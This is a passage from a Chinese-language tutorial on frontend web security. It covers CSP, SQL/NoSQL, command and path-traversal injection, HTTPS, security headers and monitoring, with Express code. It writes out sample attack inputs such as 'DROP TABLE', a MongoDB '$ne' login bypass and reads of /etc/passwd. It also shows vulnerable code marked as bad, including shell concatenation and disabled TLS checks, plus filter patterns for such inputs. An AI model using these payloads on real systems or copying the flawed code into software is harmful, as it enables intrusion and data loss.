// ============ 使用 Report-To header ============
app.use((req, res, next) => {
  // 使用Report-To API(新标准)
  res.setHeader('Report-To', JSON.stringify({
    group: 'csp-endpoint',
    max_age: 86400,
    endpoints: [{ url: 'https://example.com/report' }],
  }));
  
  // 在CSP中引用report组
  res.setHeader('Content-Security-Policy', [
    "default-src 'self'",
    "script-src 'self'",
    "report-to csp-endpoint",
  ].join('; '));
  
  next();
});

// ============ 安全审计:验证CSP配置 ============
// 浏览器开发者工具中检查CSP违规
// 命令行验证工具:CSP Evaluator
// https://csp-evaluator.withgoogle.com/

// 使用Node.js验证CSP配置
function validateCSP(cspString) {
  const directives = cspString.split(';').map(d => d.trim());
  const errors = [];
  
  // 检查是否使用了'self'
  const hasScriptSelf = directives.some(d => 
    d.startsWith('script-src') && d.includes("'self'")
  );
  
  // 如果没有指定script-src,则使用default-src
  const hasDefaultSrc = directives.some(d => 
    d.startsWith('default-src')
  );
  
  if (!hasScriptSelf && !hasDefaultSrc) {
    errors.push('警告: 未限制脚本来源,存在安全风险');
  }
  
  // 检查是否使用了unsafe-inline
  const hasUnsafeInline = directives.some(d => 
    d.includes("'unsafe-inline'")
  );
  
  if (hasUnsafeInline) {
    errors.push('警告: 使用了unsafe-inline,XSS防护效果减弱');
  }
  
  return {
    valid: errors.length === 0,
    warnings: errors,
  };
}

五、前端注入攻击

5.1 SQL/NoSQL注入攻击

虽然SQL注入主要发生在后端,但前端作为数据入口层,在安全体系中扮演着关键的前置防御角色。SQL注入攻击的核心原理是:攻击者在输入框中输入恶意的SQL代码,这些代码被拼接到SQL语句中执行,导致数据库被非法访问或破坏。NoSQL注入的原理类似,但由于NoSQL使用JavaScript或类似语法构造查询,攻击方式略有不同。

前端的防护重点在于输入验证参数化查询。前端应该对所有用户输入进行类型检查和格式验证,确保输入符合预期。但需要注意的是,前端验证只能作为辅助手段,安全的关键仍然在后端的参数化查询和ORM框架的防范机制上。

// SQL/NoSQL注入攻击与前端防护

// ============ SQL注入攻击示例 ============
// 典型的登录SQL注入
// 用户输入:
// 用户名: admin' --
// 密码: (随意)

// 后端生成的SQL:
// SELECT * FROM users WHERE username='admin' --' AND password=''
// 注释符号 -- 使密码检查失效,攻击者可以无密码登录

// 更严重的注入:
// 用户名: '; DROP TABLE users; --
// 导致删除整张表

// ============ NoSQL注入示例(MongoDB)============
// 使用原始查询的MongoDB接口
app.post('/api/user', async (req, res) => {
  const { username, password } = req.body;
  
  // ❌ 危险查询
  const user = await db.collection('users').findOne({
    username: username,
    password: password,
  });
  
  // 攻击者构造:
  // POST /api/user
  // {"username": "admin", "password": {"$ne": ""}}
  // 使用 $ne 操作符,任意密码都能匹配
  
  // ✅ 安全查询(使用参数化)
  const user = await db.collection('users').findOne({
    username: { $eq: username },
    password: { $eq: password },
  });
});

// ============ 前端输入验证(辅助防御)============
class InputValidator {
  constructor() {
    this.rules = {
      // 用户名:只允许字母、数字、下划线、3-20位
      username: {
        pattern: /^[a-zA-Z0-9_]{3,20}$/,
        message: '用户名只允许字母、数字和下划线',
      },
      // 密码:至少8位字母数字组合
      password: {
        pattern: /^(?=.*[a-zA-Z])(?=.*\d).{8,}$/,
        message: '密码需要至少8位字母数字组合',
      },
      // 手机号:中国大陆11位
      phone: {
        pattern: /^1[3-9]\d{9}$/,
        message: '请输入有效的手机号',
      },
      // 邮箱
      email: {
        pattern: /^[^\s@]+@[^\s@]+\.[^\s@]+$/,
        message: '请输入有效的邮箱地址',
      },
      // 日期:YYYY-MM-DD
      date: {
        pattern: /^\d{4}-\d{2}-\d{2}$/,
        message: '日期格式: YYYY-MM-DD',
      },
    };
  }
  
  // 通用验证
  validate(input, type) {
    const rule = this.rules[type];
    if (!rule) {
      throw new Error(`Unknown validation type: ${type}`);
    }
    
    if (!rule.pattern.test(input)) {
      return { valid: false, error: rule.message };
    }
    
    return { valid: true };
  }
  
  // 防SQL注入关键词过滤
  sanitizeQuery(input) {
    const sqlKeywords = /('|--|\bDROP\b|\bDELETE\b|\bINSERT\b|\bUPDATE\b|\bSELECT\b|\bUNION\b|\bOR\b|\bAND\b)/gi;
    return input.replace(sqlKeywords, '');
  }
  
  // 类型安全检查(防止对象注入)
  safeJSONParse(str) {
    try {
      const parsed = JSON.parse(str);
      
      // 检查是否是简单字符串,而不是对象
      if (typeof parsed === 'object' && parsed !== null) {
        // 递归检查嵌套对象
        const checkDeep = (obj, depth = 0) => {
          if (depth > 3) return null;
          if (Array.isArray(obj)) return obj.map(item => checkDeep(item, depth + 1));
          if (typeof obj === 'object' && obj !== null) {
            // 过滤掉所有$开头的操作符(MongoDB注入防护)
            const allowed = {};
            Object.keys(obj).forEach(key => {
              if (!key.startsWith('$')) {
                allowed[key] = checkDeep(obj[key], depth + 1);
              }
            });
            return allowed;
          }
          return obj;
        };
        
        return checkDeep(parsed);
      }
      
      return parsed;
    } catch {
      return str;
    }
  }
}

5.2 命令注入与路径遍历

命令注入(Command Injection)和路径遍历(Path Traversal)是后端服务常见的注入攻击,但前端可以作为第一道防线进行防御。命令注入发生在服务端将用户输入拼接到系统命令中执行时;路径遍历则是攻击者通过构造特殊路径访问服务器上未授权的文件。前端需要对文件上传、文件路径选择等功能进行严格的输入校验。

除了前端验证外,构建安全的前端应用还需要在编码规范层面做出努力:避免使用eval()、new Function()、setTimeout(string)等可以执行字符串代码的API;使用安全的模板引擎(默认编码输出);对所有用户输入保持"不信任"态度。

// 命令注入与路径遍历防护

// ============ 命令注入原理 ============
// 服务端执行系统命令
app.get('/api/search', (req, res) => {
  const query = req.query.q;
  
  // ❌ 危险:直接拼接用户输入
  const result = execSync(`grep "${query}" /var/log/app.log`);
  res.send(result.toString());
  
  // 攻击者输入:
  // /api/search?q=hello;cat /etc/passwd
  // 实际执行的命令:
  // grep "hello;cat /etc/passwd" /var/log/app.log
  // 在bash中,; 会分隔命令,导致执行 cat /etc/passwd
});

// ============ 路径遍历攻击原理 ============
// 文件下载接口
app.get('/api/download', (req, res) => {
  const filename = req.query.file;
  
  // ❌ 危险:直接拼接路径
  const filePath = path.join('/var/www/files', filename);
  res.sendFile(filePath);
  
  // 攻击者输入:
  // /api/download?file=../../etc/passwd
  // 实际路径:
  // /var/www/files/../../etc/passwd = /etc/passwd
});

// ============ 前端输入校验 ============
class FrontendSecurityValidator {
  // 防止路径遍历
  validateFilePath(filePath) {
    // 禁止路径遍历字符
    const pathTraversalPatterns = [
      /\.\./,          // ..
      /~/,             // 用户目录
      /\\/,            // 反斜杠
      /%00/,           // null字节
      /%2e%2e/,        // URL编码的..
    ];
    
    for (const pattern of pathTraversalPatterns) {
      if (pattern.test(filePath)) {
        return { valid: false, error: '不合法的文件路径' };
      }
    }
    
    return { valid: true };
  }
  
  // 防止命令注入
  validateCommandInput(input) {
    // 命令注入危险字符
    const dangerousChars = /[;&|`$(){}[\]!#~<>]/;
    
    if (dangerousChars.test(input)) {
      return { valid: false, error: '输入包含不允许的字符' };
    }
    
    return { valid: true };
  }
  
  // 文件上传验证
  validateFileUpload(file) {
    const errors = [];
    
    // 文件类型白名单
    const allowedTypes = [
      'image/jpeg',
      'image/png',
      'image/gif',
      'image/webp',
      'application/pdf',
      'text/plain',
    ];
    
    if (!allowedTypes.includes(file.type)) {
      errors.push('不支持的文件类型');
    }
    
    // 文件大小限制(5MB)
    const maxSize = 5 * 1024 * 1024;
    if (file.size > maxSize) {
      errors.push('文件大小不能超过5MB');
    }
    
    // 文件名安全检查
    const safeName = /^[a-zA-Z0-9._-]+$/;
    if (!safeName.test(file.name)) {
      errors.push('文件名包含非法字符');
    }
    
    return {
      valid: errors.length === 0,
      errors,
    };
  }
}

六、HTTPS与中间人攻击防护

6.1 HTTPS工作原理

HTTPS(HTTP Secure)是在HTTP基础上通过SSL/TLS协议进行加密传输的安全协议。它解决了HTTP传输中的三大安全问题:窃听(内容加密)、篡改(数据完整性校验)和冒充(服务端身份验证)。对于任何涉及用户隐私数据的Web应用,HTTPS都是基本的安全要求。

前端在HTTPS防护中的角色,不仅仅是使用https://协议,还需要注意:混合内容(HTTPS页面中加载HTTP资源)、HSTS(强制HTTPS)、安全的Cookie传输(Secure属性)、以及证书验证等方面的安全设置。

// HTTPS与安全传输实践

// ============ 混合内容问题 ============
// 在HTTPS页面中加载HTTP资源会触发混合内容警告
// 被动混合内容(图片、视频等)→ 可能仍能加载,有警告
// 主动混合内容(脚本、样式等)→ 被浏览器拦截

// 检测混合内容
function checkMixedContent() {
  const resources = performance.getEntriesByType('resource');
  
  const mixed = resources.filter(entry => {
    if (entry.name.startsWith('http:') && 
        location.protocol === 'https:') {
      return true;
    }
    return false;
  });
  
  if (mixed.length > 0) {
    console.warn('发现混合内容:', mixed);
    // 将不安全资源上报
    reportSecurityIssue('mixed-content', mixed);
  }
}

// 使用 Content Security Policy 强制HTTPS
// upgrade-insecure-requests 升级所有HTTP为HTTPS
res.setHeader('Content-Security-Policy', [
  "default-src 'self'",
  "upgrade-insecure-requests",
].join('; '));

// ============ HSTS(HTTP Strict Transport Security)============
// 强制浏览器只使用HTTPS访问网站
app.use((req, res, next) => {
  res.setHeader(
    'Strict-Transport-Security',
    'max-age=31536000; includeSubDomains; preload'
  );
  next();
});

// HSTS 指令说明:
// max-age=31536000    → 1年内强制使用HTTPS
// includeSubDomains   → 包含所有子域名
// preload             → 提交到浏览器预加载列表

// ============ 证书锁定(Certificate Pinning)============
// 前端验证服务器证书(减少中间人攻击风险)

// ❌ 不安全的证书验证(忽略错误)
const insecureFetch = (url) => {
  process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0';
  return fetch(url); // 危险!
};

// ✅ 安全的证书验证
// 使用HPKP(HTTP Public Key Pinning,已弃用)
// 推荐使用Expect-CT header

// ============ 安全传输清单 ============
const httpsChecklist = {
  '启用HTTPS': {
    required: true,
    check: () => location.protocol === 'https:',
    fix: '配置SSL/TLS证书',
  },
  '禁止混合内容': {
    required: true,
    check: () => document.querySelectorAll('[src^="http:"]').length === 0,
    fix: '将所有资源URL改为https://',
  },
  '设置HSTS': {
    required: true,
    check: '检查响应头中的Strict-Transport-Security',
    fix: '服务端配置HSTS响应头',
  },
  '安全Cookie': {
    required: true,
    check: () => document.cookie.includes('secure'),
    fix: 'Cookie设置Secure属性',
  },
  '升级请求': {
    recommended: true,
    check: '配置CSP upgrade-insecure-requests',
    fix: '添加CSP头',
  },
};

6.2 前端传输安全最佳实践

除了HTTPS的基础防护外,前端还需要在敏感数据传输方面采取额外措施。对于包含用户隐私的敏感数据(如密码、支付信息、个人身份信息等),建议在前端进行一次性哈希或加密后再通过HTTPS传输,形成传输层安全(HTTPS)+ 应用层安全(前端加密)的双重防护。

此外,前端应该注意子资源完整性(SRI)的保护,确保从CDN加载的脚本和样式没有被篡改。SRI通过hash值校验外部资源的完整性,如果资源内容被篡改,浏览器会拒绝加载。

// 前端传输安全实践

// ============ 子资源完整性(SRI)============
// 防止CDN资源被篡改
/*
<script 
  src="https://cdn.example.com/react.production.min.js"
  integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
  crossorigin="anonymous">
</script>

生成 integrity hash:
openssl dgst -sha384 -binary react.production.min.js | openssl base64 -A
*/

// ============ 前端敏感数据加密 ============
// 使用SubtleCrypto API(浏览器原生)

class ClientSideCrypto {
  constructor() {
    this.encoder = new TextEncoder();
    this.decoder = new TextDecoder();
  }

  // 生成密钥对(RSA-OAEP,非对称加密)
  async generateKeyPair() {
    return await crypto.subtle.generateKey(
      {
        name: 'RSA-OAEP',
        modulusLength: 2048,
        publicExponent: new Uint8Array([1, 0, 1]),
        hash: 'SHA-256',
      },
      true,
      ['encrypt', 'decrypt']
    );
  }

  // 使用公钥加密数据
  async encryptWithPublicKey(publicKey, data) {
    const encoded = this.encoder.encode(JSON.stringify(data));
    const encrypted = await crypto.subtle.encrypt(
      { name: 'RSA-OAEP' },
      publicKey,
      encoded
    );
    return btoa(String.fromCharCode(...new Uint8Array(encrypted)));
  }

  // 使用私钥解密数据
  async decryptWithPrivateKey(privateKey, encryptedBase64) {
    const encrypted = Uint8Array.from(atob(encryptedBase64), c => c.charCodeAt(0));
    const decrypted = await crypto.subtle.decrypt(
      { name: 'RSA-OAEP' },
      privateKey,
      encrypted
    );
    return JSON.parse(this.decoder.decode(decrypted));
  }

  // 密码传输前哈希(SHA-256)
  async hashPassword(password) {
    const encoded = this.encoder.encode(password);
    const hashBuffer = await crypto.subtle.digest('SHA-256', encoded);
    const hashArray = Array.from(new Uint8Array(hashBuffer));
    return hashArray.map(b => b.toString(16).padStart(2, '0')).join('');
  }

  // 安全传输示例:登录
  async secureLogin(username, password, serverPublicKey) {
    // 1. 在前端哈希密码(防止明文传输)
    const hashedPassword = await this.hashPassword(password);
    
    // 2. 使用服务端公钥加密凭证
    const credentials = {
      username,
      password: hashedPassword,
      timestamp: Date.now(),
      nonce: crypto.randomUUID(), // 防止重放攻击
    };
    
    const encryptedCredentials = await this.encryptWithPublicKey(
      serverPublicKey,
      credentials
    );
    
    // 3. 发送加密数据到服务端
    return fetch('/api/login', {
      method: 'POST',
      headers: { 'Content-Type': 'text/plain' },
      body: encryptedCredentials,
    });
  }
}

// ============ HTTPS升级策略(HSTS Preload)============
// 将网站提交到浏览器HSTS预加载列表
// https://hstspreload.org/

// 对应Nginx配置
/*
server {
    listen 443 ssl;
    server_name example.com;
    
    # SSL配置
    ssl_certificate /etc/ssl/certs/example.com.pem;
    ssl_certificate_key /etc/ssl/private/example.com.key;
    
    # 现代TLS配置
    ssl_protocols TLSv1.2 TLSv1.3;
    ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256;
    ssl_prefer_server_ciphers on;
    
    # HSTS(1年+子域名+预加载)
    add_header Strict-Transport-Security 
        "max-age=31536000; includeSubDomains; preload" always;
}

# HTTP → HTTPS 重定向
server {
    listen 80;
    server_name example.com;
    return 301 https://$host$request_uri;
}
*/

七、实战:构建安全的前端应用

7.1 安全开发流程

构建安全的前端应用不仅是技术问题,更是工程流程问题。需要在需求分析、设计、编码、测试、部署的每个阶段都引入安全考量。安全开发流程(Secure SDLC)包括:威胁建模、安全编码规范、安全代码审查、自动化安全测试、渗透测试和安全监控。

在编码阶段,建议使用ESLint的安全插件(如eslint-plugin-security)来自动检测常见安全漏洞。在CI/CD流水线中集成安全扫描工具(如OWASP ZAP、Snyk),对依赖包进行漏洞扫描。在生产环境部署安全监控(如Sentry的错误监控和CSP违规报告)。

// 前端应用安全工程化配置

// ============ 1. ESLint安全规则 ============
// .eslintrc.js
module.exports = {
  plugins: ['security'],
  extends: ['plugin:security/recommended'],
  rules: {
    // 检测危险API使用
    'security/detect-eval-with-expression': 'error',
    'security/detect-new-buffer': 'error',
    'security/detect-no-csrf-before-method-override': 'error',
    'security/detect-non-literal-fs-filename': 'error',
    'security/detect-object-injection': 'warn',
    'security/detect-possible-timing-attacks': 'warn',
    'security/detect-pseudoRandomBytes': 'warn',
    // 自定义规则
    'no-eval': 'error',
    'no-implied-eval': 'error',
    'no-script-url': 'error',
  },
};

// ============ 2. 依赖安全扫描 ============
// package.json 配置
{
  "scripts": {
    "audit": "npm audit --production",
    "snyk": "snyk test",
    "security-check": "npm audit && snyk test"
  },
  "devDependencies": {
    "snyk": "^1.1200.0",
    "owasp-dependency-check": "^6.0.0"
  }
}

// ============ 3. 完整的CSP配置示例 ============
const productionCSP = [
  // 基础策略
  "default-src 'self'",
  
  // 脚本(使用nonce机制)
  "script-src 'self' 'strict-dynamic'",
  
  // 样式(允许内联样式用于关键渲染路径)
  "style-src 'self' 'unsafe-inline'",
  
  // 图片(允许CDN和base64)
  "img-src 'self' data: https://*.cloudfront.net",
  
  // 字体
  "font-src 'self' data:",
  
  // API连接
  `connect-src 'self' https://api.example.com 
    wss://ws.example.com https://sentry.io`,
  
  // 框架(禁止iframe嵌入)
  "frame-ancestors 'none'",
  
  // 基础URI
  "base-uri 'self'",
  
  // 表单提交
  "form-action 'self'",
  
  // 升级HTTPS
  "upgrade-insecure-requests",
  
  // 报告(生产环境关闭,仅记录)
  "report-uri /csp-report",
].join('; ');

7.2 安全响应头配置清单

安全响应头是服务端配置的HTTP头,用于控制浏览器的安全行为。一个完整的Web应用应该配置多种安全响应头来提供全方位防护。以下是最重要的安全响应头及其配置建议。

这些安全头应该通过统一的中间件反向代理(Nginx)配置,确保所有响应都包含这些安全头。注意部分头部(如X-XSS-Protection)在最新浏览器中已废弃或被CSP替代,需要根据浏览器兼容性进行取舍。

// 安全响应头配置

// ============ Express中间件 ============
const helmet = require('helmet');

// helmet自动配置多个安全头
app.use(helmet());

// 或者手动配置(推荐,更灵活)
function secureHeaders(req, res, next) {
  // XSS保护(现代浏览器使用CSP替代)
  res.setHeader('X-XSS-Protection', '0'); // 废弃指令,设为0避免兼容问题
  
  // MIME类型嗅探
  res.setHeader('X-Content-Type-Options', 'nosniff');
  
  // 禁止iframe嵌入
  res.setHeader('X-Frame-Options', 'DENY');
  
  // 引用策略
  res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');
  
  // 权限策略(限制浏览器功能API)
  res.setHeader('Permissions-Policy', [
    'camera=()',          // 禁止摄像头
    'microphone=()',      // 禁止麦克风
    'geolocation=()',     // 禁止定位
    'payment=()',         // 禁止支付API
    'fullscreen=(self)',  // 仅允许同源全屏
  ].join(', '));
  
  // HSTS
  if (req.secure) {
    res.setHeader(
      'Strict-Transport-Security',
      'max-age=31536000; includeSubDomains'
    );
  }
  
  // CSP
  res.setHeader('Content-Security-Policy', getCSPConfig(req));
  
  next();
}

// ============ Nginx配置 ============
/*
server {
    add_header X-Content-Type-Options "nosniff" always;
    add_header X-Frame-Options "DENY" always;
    add_header X-XSS-Protection "0" always;
    add_header Referrer-Policy "strict-origin-when-cross-origin" always;
    add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
    add_header Content-Security-Policy "default-src 'self'; script-src 'self'" always;
}
*/

// ============ 安全响应头检查清单 ============
const securityHeadersChecklist = [
  {
    name: 'Content-Security-Policy',
    description: '内容安全策略,防止XSS',
    required: true,
    example: "default-src 'self'",
  },
  {
    name: 'X-Frame-Options',
    description: '禁止点击劫持',
    required: true,
    example: 'DENY',
  },
  {
    name: 'X-Content-Type-Options',
    description: '禁止MIME类型嗅探',
    required: true,
    example: 'nosniff',
  },
  {
    name: 'Strict-Transport-Security',
    description: '强制HTTPS',
    required: true,
    example: 'max-age=31536000; includeSubDomains',
  },
  {
    name: 'Referrer-Policy',
    description: '控制Referer头信息',
    recommended: true,
    example: 'strict-origin-when-cross-origin',
  },
  {
    name: 'Permissions-Policy',
    description: '限制浏览器功能API',
    recommended: true,
    example: 'camera=(), microphone=()',
  },
  {
    name: 'Clear-Site-Data',
    description: '清除站点数据(登出时)',
    recommended: true,
    example: '"cache", "cookies", "storage"',
  },
];

7.3 安全监控与应急响应

即使做了充分的预防措施,安全事件仍可能发生。建立安全监控应急响应机制至关重要。前端的安全监控包括:CSP违规报告收集、客户端错误监控、API请求审计日志、以及用户行为异常检测等。

应急响应计划应该明确:安全事件等级的划分、处理流程的步骤、不同角色的职责、与用户的沟通策略、以及事后复盘和改进计划。建议定期进行安全演练,检验防护措施的有效性。

// 前端安全监控与应急响应

// ============ 1. 全局错误监听 ============
class SecurityMonitor {
  constructor() {
    this.errors = [];
    this.alerts = [];
  }

  init() {
    // 监听未捕获的错误
    window.onerror = (message, source, lineno, colno, error) => {
      this.recordError({
        type: 'uncaught-error',
        message,
        source,
        lineno,
        colno,
        stack: error?.stack,
        url: window.location.href,
        timestamp: Date.now(),
      });
    };

    // 监听未处理的Promise拒绝
    window.addEventListener('unhandledrejection', (event) => {
      this.recordError({
        type: 'unhandled-rejection',
        reason: event.reason?.toString(),
        stack: event.reason?.stack,
        url: window.location.href,
        timestamp: Date.now(),
      });
    });

    // 监听安全策略违规
    document.addEventListener('securitypolicyviolation', (e) => {
      this.recordSecurityAlert({
        type: 'csp-violation',
        directive: e.violatedDirective,
        blockedURI: e.blockedURI,
        documentURI: e.documentURI,
        originalPolicy: e.originalPolicy,
        timestamp: Date.now(),
      });
    });
  }

  recordError(error) {
    this.errors.push(error);
    // 上报到监控系统
    this.sendToMonitoring(error);
    
    // 如果错误数量超过阈值,触发告警
    if (this.errors.length > 100) {
      this.triggerAlert({
        level: 'warning',
        message: '错误数量超过阈值',
        count: this.errors.length,
      });
    }
  }

  recordSecurityAlert(alert) {
    this.alerts.push(alert);
    // 安全告警立即上报
    this.sendToSecurityTeam(alert);
  }

  sendToMonitoring(data) {
    // 使用Beacon API在页面卸载前发送(不影响用户体验)
    navigator.sendBeacon?.('/api/monitoring', JSON.stringify(data));
  }

  sendToSecurityTeam(alert) {
    // 安全告警优先级高,直接发送
    fetch('/api/security/alert', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify(alert),
    });
  }

  triggerAlert(alert) {
    console.warn('[安全告警]', alert);
    // 可以通过WebSocket或Server-Sent Events即时通知
  }
}

// ============ 2. API请求审计 ============
class APIAuditor {
  constructor() {
    this.auditLog = [];
  }

  // 包装fetch添加审计日志
  createAuditedFetch() {
    const originalFetch = window.fetch;
    
    return async (url, options = {}) => {
      const startTime = performance.now();
      
      try {
        const response = await originalFetch(url, options);
        
        this.log({
          url,
          method: options.method || 'GET',
          status: response.status,
          duration: performance.now() - startTime,
          success: true,
          timestamp: Date.now(),
        });
        
        return response;
      } catch (error) {
        this.log({
          url,
          method: options.method || 'GET',
          error: error.message,
          duration: performance.now() - startTime,
          success: false,
          timestamp: Date.now(),
        });
        
        throw error;
      }
    };
  }

  log(entry) {
    this.auditLog.push(entry);
    
    // 标记异常请求
    if (entry.status === 403 || entry.status === 401) {
      console.warn('[安全审计] 权限不足:', entry.url);
    }
    
    if (entry.status >= 500) {
      console.error('[安全审计] 服务端错误:', entry);
    }
    
    // 定期清空日志(批量上报)
    if (this.auditLog.length >= 50) {
      this.flush();
    }
  }

  flush() {
    if (this.auditLog.length > 0) {
      const batch = this.auditLog.splice(0);
      navigator.sendBeacon?.('/api/audit', JSON.stringify(batch));
    }
  }
}

// ============ 3. 安全状态总览 ============
const securityPosture = {
  'XSS防御': {
    '输入编码': '✅ DOMPurify + React自动编码',
    'CSP': '✅ 严格策略(nonce机制)',
    'HttpOnly Cookie': '✅ 已配置',
  },
  'CSRF防御': {
    'CSRF Token': '✅ 服务端令牌验证',
    'SameSite Cookie': '✅ Lax模式',
    '自定义Header': '✅ X-Requested-With',
  },
  '传输安全': {
    'HTTPS': '✅ TLS 1.2+',
    'HSTS': '✅ 1年+子域名',
    'SRI': '✅ CDN资源完整性',
  },
  '其他': {
    '点击劫持': '✅ X-Frame-Options: DENY',
    '敏感信息泄露': '✅ 请求头限制',
    '依赖漏洞': '✅ 定期npm audit',
  },
};

console.table(securityPosture);